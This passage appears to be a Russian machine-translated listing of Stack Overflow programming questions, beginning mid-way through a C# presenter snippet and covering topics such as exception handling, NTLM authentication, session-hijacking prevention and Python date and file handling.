        if (!view.IsValid)
            return;

        try
        {
            int newUserId;
            tasks.CreateMember(view.NewMember, out newUserId);
            view.NewUserCode = newUserId;
            view.Notify(new NotificationDTO() { Type = NotificationType.Success });
        }
        catch(Exception e)
        {
            this.LogA().Message(string.Format("Error Creating User: {0}", e.Message));
            view.Notify(new NotificationDTO() { Type = NotificationType.Failure, Message = "There was an error creating a new member" });
        }
    }
}

У меня есть моя основная проверка формы, выполненная с использованием встроенных элементов управления проверкой .Net, но теперь мне нужно проверить, что данные достаточно удовлетворяют критериям для уровня сервиса.

Допустим, могут отображаться следующие сообщения уровня сервиса:

  • Учетная запись электронной почты уже существует (сбой)
  • Ссылка на введенного пользователя не существует (сбой)
  • Длина пароля превышает допустимую длину хранилища данных (сбой)
  • Участник создан успешно (success)

Предположим также, что на уровне сервиса будет больше правил, которые UI не может предвидеть.

В настоящее время у меня есть уровень сервиса, который бросает исключение, если все пошло не так, как планировалось. Это достаточная стратегия? Этот код пахнет для вас, ребята? Если бы я написал такой уровень сервиса, вы были бы раздражены необходимостью писать докладчиков, которые используют его таким образом? Коды возврата кажутся слишком старой школой, и bool просто недостаточно информативен.


Редактировать не по OP: слияние в последующих комментариях, которые были опубликованы в качестве ответов OP


Cheekysoft, мне нравится концепция a ServiceLayerException. У меня уже есть глобальный модуль исключений для исключений, которые я не ожидаю. Считаете ли вы, что все эти пользовательские исключения утомительны? Я думал, что ловить базовый класс исключений было немного вонючим, но не был точно уверен, как продвигаться оттуда.

tgmdbm, мне нравится умное использование выражения lambda там!


Спасибо Cheekysoft за последующие действия. Поэтому я предполагаю, что это будет стратегия, если вы не возражаете, чтобы пользователь отображал отдельную страницу (Я в первую очередь веб-разработчик), если исключение не обрабатывается.

Однако, если я хочу вернуть сообщение об ошибке в том же представлении, где пользователь представил данные, вызвавшие ошибку, мне придется поймать исключение в Презентаторе?

Вот как выглядит CreateUserView, когда ведущий обработал ServiceLayerException:

Create a user

Для такого рода ошибок, это хорошо, чтобы сообщить об этом в том же представлении.

В любом случае, я думаю, что сейчас мы выходим за рамки моего первоначального вопроса. Я поиграю с тем, что вы опубликовали, и если мне понадобится дополнительная информация, я отправлю новый вопрос.

c#   asp.net   exception   mvp   n-tier-architecture    

525   3   08:19, 15th August, 2020


Каковы правила для именования классов AS3?

Я пытаюсь написать RegEx для генератора кода (в C#), чтобы определить правильный класс или имя пакета класса AS3.

Я знаю эти названия классов

  • должно начинаться с буквы (заглавной или иначе)
  • любая другая цифра может быть буквенно-цифровой
  • не может иметь пробелов

Есть еще что-нибудь?

actionscript-3   naming   convention    

390   3   19:36, 3rd August, 2020


Список или BusinessObjectCollection?

До появления универсальных моделей C# все кодировали коллекции для своих бизнес-объектов, создавая базу коллекций, реализующую IEnumerable

IE:

public class CollectionBase : IEnumerable

и тогда они получат свои коллекции бизнес-объектов из этого.

public class BusinessObjectCollection : CollectionBase

Теперь с общим классом списка, кто-нибудь просто использует это вместо этого? Я обнаружил, что использую компромисс двух методов:

public class BusinessObjectCollection : List<BusinessObject>

Я делаю это, потому что мне нравится иметь строго типизированные имена, а не просто передавать списки.

Каков ваш подход?

c#   .net   generics   collections   class-design    

459   18   13:05, 8th August, 2020


Какие навыки вам нужны для правильного дизайна UI/Interaction/Functional в веб-приложениях?

Когда вы разрабатываете веб-приложения с нуля, какие навыки необходимы, чтобы производить полезные и богатые взаимодействием продукты?

  • Вы делаете прототип пользовательского интерфейса в первую очередь?
  • Используете ли Вы истории пользователей?
  • Какую-то методологию или передовую практику вы бы рекомендовали или активно пропагандировали?

Короче говоря: какие навыки заставляют вас переходить от сбора требований к AmazingWebApp™?

И наконец: какие книги вы бы порекомендовали?

language-agnostic   project-management   web-applications    

519   9   14:47, 18th August, 2020


Почему Java и Python методы сбора мусора отличаются?

Python использует метод подсчета ссылок для обработки времени жизни объекта. Таким образом, объект, который больше не имеет смысла, будет немедленно уничтожен.

Но в Java GC (сборщик мусора) уничтожает объекты, которые больше не используются в определенное время.

Почему Java выбирает именно эту стратегию и в чем ее польза?

Это лучше, чем подход Python?

java   python   garbage-collection    

475   9   04:42, 12th August, 2020


Неужели так уж плохо поймать общее исключение?

Анализируя некоторый устаревший код с FXCop, мне пришло в голову, действительно ли так плохо поймать общую ошибку исключения в блоке try или вы должны искать конкретное исключение. Мысли на открытке, пожалуйста.

exception    

345   15   00:24, 9th August, 2020


Как сравнить два массива объектов DataRow в PowerShell?

У меня есть два массива объектов System.Data.DataRow , которые я хочу сравнить.

Строки имеют два столбца A и B. столбец A является ключом, и я хочу узнать, какие строки были изменены в столбце B, а какие строки были добавлены или удалены.

Как это сделать в PowerShell?

arrays   powershell   comparison    

536   3   16:06, 10th August, 2020


Преобразование даты / времени с помощью time.mktime кажется неправильным

>>> import time
>>> time.strptime("01-31-2009", "%m-%d-%Y")
(2009, 1, 31, 0, 0, 0, 5, 31, -1)
>>> time.mktime((2009, 1, 31, 0, 0, 0, 5, 31, -1))
1233378000.0
>>> 60*60*24 # seconds in a day
86400
>>> 1233378000.0 / 86400
14275.208333333334

time.mktime должно возвращать количество секунд с момента начала эпохи. Поскольку я даю ему время в полночь, а эпоха-в полночь, разве результат не должен быть равномерно делим на количество секунд в день?

python   datetime    

473   4   13:42, 12th August, 2020


Программное шифрование конфигурационного файла внутри .NET

Не мог бы кто-нибудь сделать краткое описание того, как программно зашифровать конфигурационный файл в .NET, предпочтительно в C#.

Я бы хотел сделать что-то вроде проверки запуска приложения, чтобы увидеть, является ли раздел незащищенным, и если да, то зашифровать его. Это касается как настроек, так и строк подключения.

Также если бы кто-нибудь мог перечислить типы шифровальщиков и в чем разница между ними.

Я не знаю, является ли код для выполнения этого в обычном WinForms-приложении прозрачным для выполнения этого в ASP.NET.

c#   .net   configuration   encryption   configuration-files    

444   5   21:07, 21st August, 2020


OpenID как вариант единого входа?

Я просто ищу разные мнения. Считаете ли вы OpenID хорошим решением "Single Sign On"?

То, как это работает, кажется немного запутанным для обычного пользователя, и могут возникнуть проблемы, связанные с "putting all your eggs in the same basket".

Во всяком случае, кто-нибудь пытался реализовать свое собственное решение OpenId в контексте интрасети, где есть много различных приложений (Wordpress, Elgg, Media Wiki,..)??

Я считаю, что это может быть отличным решением для решения проблемы "Digital Identity", но я не знаю, будет ли это работать с проблемой "login once and surf the Intranet".

Мнения?

openid   single-sign-on    

447   14   01:31, 23rd August, 2020


Как работают механизмы обнаружения контента, такие как Zemanta и Open Calais?

Мне было интересно, как семантический сервис, такой как Open Calais, вычисляет названия компаний или людей, технологические концепции, ключевые слова и т. д. из отрывка текста. Это потому, что у них есть большая база данных, с которой они сопоставляют текст?

Как такая служба, как Zemanta, может знать, какие изображения предложить, например, фрагменту текста?

python   ruby   semantics   zemanta    

408   3   18:24, 26th August, 2020


Использование управления диаграммой Ганта MS Project в C#

Кто-нибудь использовал MS Project Gantt chart control в C#? Если да, то не могли бы вы поделиться некоторыми ресурсами по этому поводу?

c#   .net-2.0   controls   ms-project   gantt-chart    

545   5   05:25, 10th August, 2020


Управление по сравнению со стандартным HTML

Я вхожу в ASP.NET (C# - я знаю, что это не имеет значения для этого конкретного вопроса, но полное раскрытие и все такое), и хотя мне нравится, что элементы управления в стиле asp: избавляют меня от многих утомительных HTML-крафтов, я часто разочаровываюсь в определенных поведениях. Вчера вечером я столкнулся с одним из них при работе с главными страницами: мой <asp:BulletedList ID="nav"> , преобразованный в HTML, стал <ul id="ct100_nav"> .

Есть и другие проблемы-я заметил, что когда вы автоматически заполняете a DataGrid, он добавляет атрибуты к результирующей таблице, которые мне не обязательно там нужны.

Я знаю, что есть определенное количество "convention over configuration", которое вы должны принять, когда вы полагаетесь на рамки, чтобы взять на себя некоторые из ваших утомительных обязанностей, но "conventions" в этих случаях не столько какие-то установленные условности, а скорее ненужные дополнения. Я знаю, почему ID добавляет префикс, но я должен быть в состоянии настроить и отключить подобные вещи, тем более что, будучи немного евангелистом веб-стандартов, я все равно не дублирую HTML id на одной странице.

Поэтому вопрос здесь для тех разработчиков ASP.NET, которые более опытны, чем я: в вашем опыте разработки и развертывания приложений, как вы используете эти элементы управления? Может быть, вы снова прибегаете к жесткому коду HTML? Вы пользуетесь смесью? Я не хочу создавать свой HTML вокруг идиосинкразических причуд в этих элементах управления, но, если это возможно, я хотел бы использовать их, когда это возможно.

А что делать мальчику?

c#   asp.net   controls    

389   11   05:34, 23rd August, 2020


Как использовать проверку подлинности NTLM с Active Directory

Я пытаюсь реализовать аутентификацию NTLM на одном из наших внутренних сайтов,и все работает. Единственный кусочек головоломки, которого у меня нет, - это то, как взять информацию из NTLM и пройти аутентификацию в Active Directory.

Существует хорошее описание NTLM и шифрования, используемого для паролей, которые я использовал для реализации этого, но я не уверен, как проверить, является ли пароль пользователя действительным.

Я использую ColdFusion, но решение этой проблемы может быть на любом языке (Java, Python, PHP и т. д.).

Редактировать:

Я использую ColdFusion на Redhat Enterprise Linux. К сожалению, мы не можем использовать IIS для управления этим и вместо этого должны написать или использовать сторонний инструмент для этого.


Update - я получил эту работу, и вот что я сделал

Я пошел с библиотекой JCIFS из samba.org.

Обратите внимание, что приведенный ниже метод будет работать только с NTLMv1 и не работает с NTLMv2. Если вы не можете использовать NTLMv1, вы можете попробовать Jespa, который поддерживает NTLMv2, но не является открытым исходным кодом, или вы можете использовать Kerberos/SPNEGO.

Вот мой web.xml:

<web-app>
    <display-name>Ntlm</display-name>

    <filter>
        <filter-name>NtlmHttpFilter</filter-name>
        <filter-class>jcifs.http.NtlmHttpFilter</filter-class>

        <init-param>
            <param-name>jcifs.http.domainController</param-name>
            <param-value>dc01.corp.example.com</param-value>
        </init-param>
        <init-param>
            <param-name>jcifs.smb.client.domain</param-name>
            <param-value>CORP.EXAMPLE.COM</param-value>
        </init-param>
    </filter>

    <filter-mapping>
        <filter-name>NtlmHttpFilter</filter-name>
        <url-pattern>/admin/*</url-pattern>
    </filter-mapping>
</web-app>

Теперь все URLs совпадающие /admin/* будут требовать NTLM аутентификации.

http   authentication   coldfusion   active-directory   ntlm    

832   7   13:14, 1st August, 2020


Unicode против UTF-8 путаница в Python / Django?

Я наткнулся на этот отрывок в учебнике Django :

Модели Django есть ул. по умолчанию () метод, который вызывает unicode () и преобразует результат в UTF-8 bytestring. Это означает, что unicode(p) вернет строку Unicode, а str (p) вернет обычную строку с символами, закодированными как UTF-8.

Теперь я в замешательстве, потому что, насколько мне известно, Unicode-это не какая-то конкретная представленность, так что "Unicode string" в Python? Означает ли это UCS-2? В гугле появился этот "Python Unicode Tutorial" , который смело заявляет:

Unicode-это двухбайтовая кодировка, которая охватывает все распространенные в мире системы письма.

что же здесь явно не так, или это так? Меня много раз смущали проблемы с набором символов и кодировкой, но здесь я совершенно уверен, что документация, которую я читаю, запутана. Кто-нибудь знает, что происходит в Python, когда он дает мне "строку Unicode"?

python   django   unicode    

481   5   07:28, 18th August, 2020


Шаблон Транзакционного Проектирования

У меня есть необходимость создать процесс "transactional" с помощью внешнего API, который не поддерживает транзакции COM+ или .NET (Sharepoint, чтобы быть точным)

Что мне нужно сделать, так это иметь возможность выполнять несколько процессов в определенной последовательности, но любой сбой в этой последовательности означает, что мне придется вручную отменить все предыдущие шаги. В моем случае есть только 2 типа шага, оба из которых довольно легко отменить/откатить назад.

Есть ли у кого-нибудь предложения по дизайну моделей или структур, которые могли бы быть полезны для этого ?

sharepoint   design-patterns   transactions    

396   6   06:10, 22nd August, 2020


Erlang-параллелизм стиля для других языков

Какие библиотеки существуют для других языков программирования, чтобы обеспечить модель параллелизма в стиле Erlang (процессы, почтовые ящики, сопоставление шаблонов) и т. д.)?

Примечание: меня особенно интересуют вещи, которые должны быть похожи на Erlang, а не просто любая библиотека потоков или очередей.

multithreading   concurrency   erlang    

397   13   05:28, 9th August, 2020


Аутентификация на веб-сайте авторизации форм ASP.Net из консольного приложения

Я пытаюсь создать консольное приложение C#, чтобы автоматизировать захват определенных файлов с нашего сайта, в основном, чтобы сэкономить клики и, честно говоря, просто сделать это. Но я попал в ловушку, для которой я не смог найти рабочего решения.

Веб-сайт, к которому я пытаюсь подключиться, использует авторизацию форм ASP.Net, и я не могу понять, как аутентифицировать себя с ним. Это приложение является полным Хак, так что я могу жесткий код моего имени пользователя и пароля или любой другой необходимой информации auth, и само решение не должно быть что-то, что является достаточно жизнеспособным, чтобы освободить для обычных пользователей. Другими словами, если единственным возможным решением является взлом, я в порядке с этим.

В принципе, я пытаюсь использовать HttpWebRequest, чтобы вытащить сайт, который имеет список файлов, повторяя этот список, а затем загружая то, что мне нужно. Таким образом, фактическая работа на сайте довольно тривиальна, как только я могу заставить сайт считать меня авторизованным.

c#   asp.net   authentication    

453   2   10:39, 17th August, 2020


С чего начать изучение оповещений и уведомлений сервера SQL?

Совсем недавно начались проблемы с заданием агента сервера SQL, содержащим пакет SSIS для извлечения производственных данных и их суммирования в отдельную базу данных отчетов.

Я думаю , что некоторые из настроек предупреждений/уведомлений, с которыми я пытался играть, вызвали проблему, поскольку задание выполнялось без присмотра в течение предыдущих двух недель.

Так... Где хорошее место, чтобы начать читать на SQL агент оповещения и уведомления?
Я хочу включить какое-то предупреждение/уведомление, чтобы я всегда был в курсе:

  1. Что задание завершается успешно (как проверка, чтобы убедиться, что оно всегда выполняется), или
  2. Что задание столкнулось с какой-то ошибкой, которая должна включать достаточно информации (например, номер ошибки), чтобы я мог диагностировать причину ошибки

Как всегда, любая помощь будет принята с благодарностью!

sql-server   ssis   notifications   alert   etl    

484   3   22:03, 2nd August, 2020


Т. е. вопросы зоны безопасности

Я разрабатываю веб-сайт, который будет использоваться в корпоративной интрасети, которая использует JCIFS и NTLM для автоматической аутентификации пользователей, не требуя от них входа в систему. Все, кажется, работает в IE 6, но некоторые пользователи запрашивают свои пароли в IE 7.

Мы добились некоторого успеха, заставив пользователей изменить свой параметр входа в систему на "Automatic logon using current username and password" (инструменты > Свойства обозревателя > вкладка безопасности > выберите локальная интрасеть > пользовательский уровень > полностью в нижней части аутентификация пользователя > вход в систему), но у нас все еще есть несколько пользователей, которые получают приглашения имени пользователя/пароля.

Кроме того, у нас были некоторые пользователи сообщают, что они могут просто нажать кнопку Отмена, когда появится приглашение, и страница появится правильно.

Если у кого-то есть другие предложения, я был бы очень признателен.

internet-explorer   ntlm   intranet   jcifs   security-zone    

454   3   23:51, 22nd August, 2020


Как отправить email в локальное время пользователя на сервере .NET / Sql?

Я пишу программу, которая должна посылать email каждый час на час, но в то же время локально для пользователя.

Скажем, у меня есть 2 пользователя в разных часовых поясах. Джон сейчас в Нью-Йорке, а Фред-в Лос-Анджелесе. Сервер находится в Чикаго. Если я хочу отправить email в 6.30 локально каждому пользователю,мне придется отправить email Джону в 7 вечера по серверному времени и Фреду в 4 часа по серверному времени.

Каков хороший подход к этому в .NET / Sql сервере? Я нашел файл xml со всей информацией о часовом поясе, поэтому я подумываю написать сценарий для импорта его в базу данных, а затем запросить его.

Edit: я использовал “t4znet.dll " и сделал все сравнения на стороне .NET.

sql   .net   sql-server   timezone    

372   3   13:41, 3rd August, 2020


Word Automation: запись текста RTF без перехода через буфер обмена

Я пытаюсь заменить текущий выбор в Word (2003/2007) на некоторую строку RTF , хранящуюся в переменной.

Вот текущий код:

Clipboard.SetText(strRTFString, TextDataFormat.Rtf)
oWord.ActiveDocument.ActiveWindow.Selection.PasteAndFormat(0)

Есть ли способ сделать то же самое, не проходя через буфер обмена? Или есть какой-то способ переместить данные буфера обмена в безопасное место и восстановить их после этого?

automation   ms-word   word-vba    

410   2   11:18, 28th August, 2020


Как я могу разработать для iPhone с помощью машины разработки Windows?

Есть ли какой-нибудь способ поработать с iPhone SDK на машине Windows? Есть ли планы на версию iPhone SDK для Windows?

Единственный другой способ, который я могу придумать, это запустить образ Mac VM на сервере VMWare, работающем на Windows, хотя я не слишком уверен, насколько это законно.

ios   iphone   windows    

429   25   16:59, 10th August, 2020


Как конвертировать изображения между CMYK и RGB в ColdFusion (Java)?

У меня есть потребность конвертировать изображения из CMYK в RGB - не обязательно обратно, но эй, если это можно сделать...

С выпуском ColdFusion 8 мы получили тег CFImage , но он не поддерживает это преобразование; так же как и Image.cfc, или компонент изображения Alagad .

Однако это должно быть возможно в Java; который мы можем использовать через CF. Например, вот как можно создать поток Java для спящего процесса:

<cfset jthread = createObject("java", "java.lang.Thread")/>
<cfset jthread.sleep(5000)/>

Я бы предположил, что подобный метод может быть использован для использования java для преобразования этого изображения, но не будучи разработчиком Java, я не знаю, с чего начать. Может ли кто-нибудь помочь здесь?

java   image   coldfusion    

569   4   13:36, 14th August, 2020


Я ищу хостинг-провайдера Windows, который поддерживает пользовательские образы ОС (например, AMZN EC2)

Я полюбил службу EC2 Amazon , и я ищу что-то похожее, что поддерживает возможность сохранения запущенного образа сервера Windows и запуска из него новых экземпляров.

Я связался с GoGrid (функция планируется в будущем) и Mosso (нет радости)

Кто-нибудь знает любой хостинг/cloud поставщиков, которые могут сделать это?

hosting   windows-server-2003   amazon-ec2   virtual   cloud    

475   5   23:43, 16th August, 2020


Почему сжатие ASP.NET gzip портит CSS?

У меня есть приложение ASP.NET webforms (3.5 SP1), над которым я работаю, и пытаюсь включить gzip fpr HTML и CSS, которые спускаются по трубе. Я использую эту реализацию (и попробовал несколько других, которые подключаются к Application_BeginRequest), и, похоже, она разрушает внешний файл CSS, который используют страницы, но intermittently...suddenly все стили исчезнут при обновлении страницы, останутся на некоторое время, а затем внезапно снова начнут работать.

И IE7, и FF3 демонстрируют такое поведение. При просмотре CSS с помощью панели инструментов веб-разработчика, он возвращает тарабарщина. Заголовок cache-control проходит как "private,", но я не знаю достаточно, чтобы выяснить, является ли это фактором, способствующим или нет.

Кроме того, это выполняется на сервере разработки ASP.NET. Может быть, это было бы хорошо с IIS, но я разрабатываю на XP, и это будет IIS5.

asp.net   compression   gzip    

465   0   19:05, 23rd August, 2020


Amazon Веб-Службы

Веб-Amazon услуг реалистичной платформы для развития предпринимательства?

web-services   amazon-web-services   cloud    

453   8   00:48, 23rd August, 2020


Какой хороший способ проверить, находятся ли две даты в один и тот же календарный день в TSQL?

Вот проблема, с которой я сталкиваюсь: у меня есть большой запрос, который должен сравнить даты в предложении where, чтобы увидеть, если две даты находятся в один и тот же день. Мое текущее решение, которое отстойно, состоит в том, чтобы отправить даты в UDF, чтобы преобразовать их в полночь того же дня, а затем проверить эти даты на равенство. Когда дело доходит до плана запроса, это катастрофа, как и почти все UDFs в предложениях joins или where. Это одно из немногих мест в моем приложении, где я не смог искоренить функции и дать оптимизатору запросов то, что он действительно может использовать для поиска лучшего индекса.

В этом случае слияние кода функции обратно в запрос кажется нецелесообразным.

Мне кажется, я упускаю здесь что-то простое.

Вот функция для справки.

if not exists (select * from dbo.sysobjects 
              where id = object_id(N'dbo.f_MakeDate') and               
              type in (N'FN', N'IF', N'TF', N'FS', N'FT'))
  exec('create function dbo.f_MakeDate() returns int as 
         begin declare @retval int return @retval end')
go

alter function dbo.f_MakeDate
(
    @Day datetime, 
    @Hour int, 
    @Minute int
)
returns datetime
as

/*

Creates a datetime using the year-month-day portion of @Day, and the 
@Hour and @Minute provided

*/

begin

declare @retval datetime
set @retval = cast(
    cast(datepart(m, @Day) as varchar(2)) + 
    '/' + 
    cast(datepart(d, @Day) as varchar(2)) + 
    '/' + 
    cast(datepart(yyyy, @Day) as varchar(4)) + 
    ' ' + 
    cast(@Hour as varchar(2)) + 
    ':' + 
    cast(@Minute as varchar(2)) as datetime)
return @retval
end

go

Чтобы усложнить ситуацию, я подключаюсь к таблицам часовых поясов, чтобы проверить дату по местному времени, которое может отличаться для каждой строки:

where 
dbo.f_MakeDate(dateadd(hh, tz.Offset + 
    case when ds.LocalTimeZone is not null 
    then 1 else 0 end, t.TheDateINeedToCheck), 0, 0) = @activityDateMidnight

[Редактировать]

Я включаю предложение @Todd's:

where datediff(day, dateadd(hh, tz.Offset + 
    case when ds.LocalTimeZone is not null 
    then 1 else 0 end, t.TheDateINeedToCheck), @ActivityDate) = 0

Мое неправильное представление о том, как работает datediff (один и тот же день года в последовательные годы дает 366, а не 0, как я ожидал), заставило меня потратить много усилий.

Но план запроса не изменился. Я думаю, что мне нужно вернуться к чертежной доске со всем этим.

sql   sql-server   tsql   datetime   user-defined-functions    

453   10   19:32, 19th August, 2020


Виртуальный Мак?

Я думаю о том, чтобы попробовать некоторые разработки для iPhone, можно ли установить Leopard внутри VMWare? У меня уже есть довольно высокая спецификация PC с удобной настройкой, которую я хотел бы использовать, или мне нужно купить настоящий Mac?

iphone   macos   virtualization    

450   6   05:49, 19th August, 2020


Форматирование чисел в строки в формате Python

Мне нужно выяснить, как форматировать числа в виде строк. Мой код здесь:

return str(hours)+":"+str(minutes)+":"+str(seconds)+" "+ampm

Часы и минуты являются целыми числами, а секунды-плавающей точкой. функция str() преобразует все эти числа в десятые (0.1) места. Поэтому вместо того, чтобы моя строка выводила "5:30:59.07 pm", она будет отображать что-то вроде"5.0:30.0:59.1 pm".

В итоге, какая библиотека / функция мне нужна, чтобы сделать это за меня?

python   string-formatting    

520   7   04:24, 4th August, 2020


Рекомендации по отлову и повторному выбрасыванию исключений .NET

Какие рекомендации следует учитывать при перехвате исключений и повторном их отбрасывании? Я хочу убедиться, что InnerException объекта Exception и стек trace сохранены. Есть ли разница между следующими блоками кода в том, как они обрабатывают это?

try
{
    //some code
}
catch (Exception ex)
{
    throw ex;
}

Против:

try
{
    //some code
}
catch
{
    throw;
}

c#   .net   exception-handling   rethrow    

430   11   12:46, 16th August, 2020


Как загрузить файл через HTTP с помощью Python?

У меня есть небольшая утилита, которую я использую, чтобы загрузить MP3 с веб-сайта по расписанию, а затем построить/обновить файл подкаста XML, который я, очевидно, добавил в iTunes.

Обработка текста, которая создает / обновляет файл XML, записывается в Python. Однако я использую wget внутри файла Windows .bat , чтобы загрузить фактический MP3. Хотя я бы предпочел, чтобы вся утилита была написана в Python.

Я изо всех сил пытался найти способ на самом деле вниз загрузить файл в Python, поэтому я прибегнул к wget .

Итак, как мне загрузить файл с помощью Python?

python   http   urllib    

820   22   12:28, 17th August, 2020


Какие стратегии вы использовали для повышения производительности веб-приложений?

  • Есть ли у вас личный опыт преодоления препятствий в работе веб-приложений?
  • Какие-либо рекомендуемые стратегии повышения производительности управляемого данными веб-приложения?

Моя команда разработчиков работает над веб-приложением (JSP reports, HTML, JavaScript), которое использует базу данных Oracle (PL/SQL). ключевая функциональность приложения заключается в создании отчетов, где пользователь может получить PDFs отчетов на высоком уровне и детализировать их до более низких уровней вспомогательных сведений.

Поскольку число вспомогательных подробных записей выросло до миллионов, производительность системы значительно снизилась. Основываясь на нашем текущем анализе метрик, узкое место, по-видимому, находится в логике, поражающей производительность DB и DB. В настоящее время изучается изменение модели DB и повторное выполнение некоторых логических операций на стороне сервера.

Разбиение на разделы, индексация, объяснение планов и запуск статистики-это вещи, которые были сделаны на стороне DB, чтобы попытаться помочь улучшить производительность. Хотя они и помогли, они не решили проблему удовлетворительно. Самая сложная часть анализа данных о производительности заключается в том, что база данных и веб-серверы удаленно управляются другой частью организации IT, поэтому разработчики не имеют регулярного, полного доступа, чтобы увидеть, что происходит (особенно в производственной среде, которая не зеркально отражена точно в любой другой среде разработки/тестирования).

performance   oracle   web-applications    

438   6   03:23, 23rd August, 2020


Настроить сокет Java на fail-fast при отключении?

У меня есть порт прослушивания на моем сервере, к которому я подключаюсь с помощью класса Java и интерфейса Socket , i.e.

Socket mySocket = new Socket(host,port);

Затем я хватаю OutputStream, украшаю PrintWriter в режиме автозапуска, и я смеюсь - за исключением того, что порт прослушивания закрывается. Тогда я получаю

tcp4       0      0  *.9999                 *.*                    LISTEN
tcp        0      0  127.0.0.1.45737        127.0.0.1.9999         CLOSE_WAIT

и я не могу обнаружить проблему в программе - я попытался использовать метод isConnected() на сокете, но он, похоже, не знает, что соединение закрыто.

Я хочу знать о проблеме в следующий раз, когда я попытаюсь написать в сокет, чтобы я мог попытаться снова подключиться и сообщить о проблеме.

Какие-нибудь советы, пожалуйста?

Спасибо всем

java   exception   sockets   networking    

453   3   01:10, 14th August, 2020


Перетащите Email из MS Outlook в Eclipse RCP

Есть ли у кого-нибудь рабочее решение без некоторых Java/COM-bridge? E.g. обработайте Email как файл (.msg) вместо того, чтобы найти данные, на которые ссылаются в буфере обмена?

java   eclipse   ms-office   integration   desktop    

446   3   08:12, 28th August, 2020


Как лучше всего предотвратить захват сеанса?

В частности, это касается использования файла cookie сеанса клиента для идентификации сеанса на сервере.

Является ли лучшим решением использовать шифрование SSL/HTTPS для всего веб-сайта, и у вас есть лучшая гарантия того, что ни один человек в середине атаки не сможет обнюхать существующий файл cookie сеанса клиента?

И, возможно, во-вторых, лучше всего использовать какое-то шифрование самого значения сеанса, которое хранится в вашем сеансовом файле cookie?

Если злоумышленник имеет физический доступ к машине, он все равно может посмотреть файловую систему, чтобы получить допустимый файл cookie сеанса и использовать его для захвата сеанса?

security   session   cookies    

489   12   16:51, 15th August, 2020


Acts-as-readable Rails проблема плагина

Я использую Intridea в качестве читаемого плагина Rails для системы обмена сообщениями, которую я сейчас создаю. Я определил свой класс сообщений соответственно:

class Post < ActiveRecord::Base
  acts-as-readable
end

И все, кажется, работает по плану, но при попытке заставить приложение показывать непрочитанные сообщения в моем представлении сообщений, я сталкиваюсь с проблемами.

Их пример: (я изменил подчеркивания на дефисы из-за проблем с форматированием)

bob = User.find_by_name("bob")

bob.readings                      # => []

Post.find_unread_by(bob)          # => [<Post 1>,<Post 2>,<Post 3>...]
Post.find_read_by(bob)            # => []

Post.find(1).read_by?(bob)        # => false
Post.find(1).read_by!(bob)        # => <Reading 1>
Post.find(1).read_by?(bob)        # => true
Post.find(1).users_who_read       # => [<User bob>]

Post.find_unread_by(bob)          # => [<Post 2>,<Post 3>...]
Post.find_read_by(bob)            # => [<Post 1>]

bob.readings                      # => [<Reading 1>]

Поэтому кажется, что если бы я хотел перечислить количество непрочитанных сообщений, находящихся в почтовом ящике (например, Inbox (39) ), я должен был бы сделать что - то вроде:

<%= Post.find_unread_by(current-user).count %>

Но безрезультатно. Я всегда, кажется, застреваю на простых проблемах просмотра после того, как все установлено. Есть идеи?

ruby-on-rails   ruby   plugins    

496   1   11:50, 17th August, 2020


CruiseControl.Net Build Publisher-публиковать только скомпилированные файлы

При настройке CruiseControl я добавил блок buildpublisher в задачи издателя:

<buildpublisher>
  <sourceDir>C:\MyBuild\</sourceDir>
  <publishDir>C:\MyBuildPublished\</publishDir>
  <alwaysPublish>false</alwaysPublish>
</buildpublisher> 

Это работает, но он копирует все содержимое файла сборки, я только хочу скопировать страницы DLL и .aspx, мне не нужен исходный код для публикации.

Кто-нибудь знает способ фильтровать это, или мне нужно настроить задачу для запуска скрипта RoboCopy вместо этого?

.net   build-process   cruisecontrol.net    

495   4   05:53, 7th August, 2020


Как вы определились между WISA и LAMP?

Приходилось ли вам когда-нибудь выбирать между WISA или LAMP в начале веб-проекта?

Хотя плюсы и минусы разбросаны по всей сети, было бы полезно узнать о вашем реальном опыте в разработке критериев w/, оценке, принятии решений и размышлении о вашем решении перейти на любую платформу w/.

architecture   web-applications   lamp   platform   wisa    

429   13   03:37, 28th August, 2020


Как лучше всего справиться с кэшем и кнопкой возврата браузера?

Как лучше всего обращаться с пользователем, возвращающимся на страницу, на которой были кэшированы элементы в приложении asp.net? Есть ли хороший способ захватить кнопку Назад (событие?) и обрабатывать кэш таким образом?

asp.net   caching   back-button    

517   5   16:21, 28th August, 2020


Что такое хороший начальный текст по функциональному программированию?

Я люблю изучать языки за пределами своей зоны комфорта, но мне было трудно найти место для начала работы с функциональными языками. Я слышал много хорошего о структуре и интерпретации компьютерных программ, но когда я попытался прочитать его пару лет назад, он просто свистел у меня над головой. Я гораздо лучше справляюсь с книгами, чем с веб-сайтами, но когда я посещаю местный книжный магазин, книги на LISP выглядят немного пугающе.

Так что же является хорошей отправной точкой? Моя цель состоит в том, чтобы иметь возможность использовать функциональный язык программирования для решения простых задач за 6 месяцев или около того, а также возможность переходить к более продвинутым темам, распознавать, когда функциональный язык является правильным инструментом для работы, и использовать язык для решения большего количества проблем в течение 2-3 лет. Мне нравятся книги, в которых много примеров, но также есть проблемы, над которыми нужно работать. Существует ли такая вещь для функциональных языков?

functional-programming   lisp   scheme    

501   15   13:18, 7th August, 2020


Схемы кэширования для управляемых языков

Это в основном ориентировано на разработчиков настольных приложений.
Как я могу создать блок кэширования, который хорошо играет с GC?
Как я могу сказать GC, что я только что сделал очистку кэша, и пришло время сделать GC?
Как я могу получить точную меру того, когда пришло время выполнить очистку кэша?

Есть ли какие-либо готовые схемы кэширования, из которых я мог бы заимствовать некоторые идеи?

caching   garbage-collection    

457   2   12:55, 10th August, 2020


Как IE7 определяет зону безопасности сайта

Кто-нибудь знает, как IE7 определяет, какую зону безопасности использовать для сайта? Я вижу основы для IE6 здесь, но я не могу найти эквивалент для IE7.

security   internet-explorer-7   security-zone    

504   4   00:57, 13th August, 2020


В чем разница между процедурным и функциональным программированием?

Я читал статьи Википедии как по процедурному программированию , так и по функциональному программированию, но все равно немного запутался. Может быть, кто-нибудь доведет его до конца?

functional-programming   glossary   paradigms   procedural-programming    

404   1   11:25, 12th August, 2020


Начинающие Системы Управления Версиями

Что было бы лучшей системой управления версиями, чтобы узнать, как новичок в управлении версиями?

version-control    

414   16   23:27, 28th August, 2020


Создать EXE из SWF, используя Flex 3, не требуя AIR?

У меня есть простое небольшое тестовое приложение, написанное на Flex 3 (MXML и некоторые AS3). Я могу скомпилировать его в SWF просто отлично, но я хотел бы сделать его в EXE, чтобы я мог дать его нескольким моим коллегам, которые могут найти его полезным.

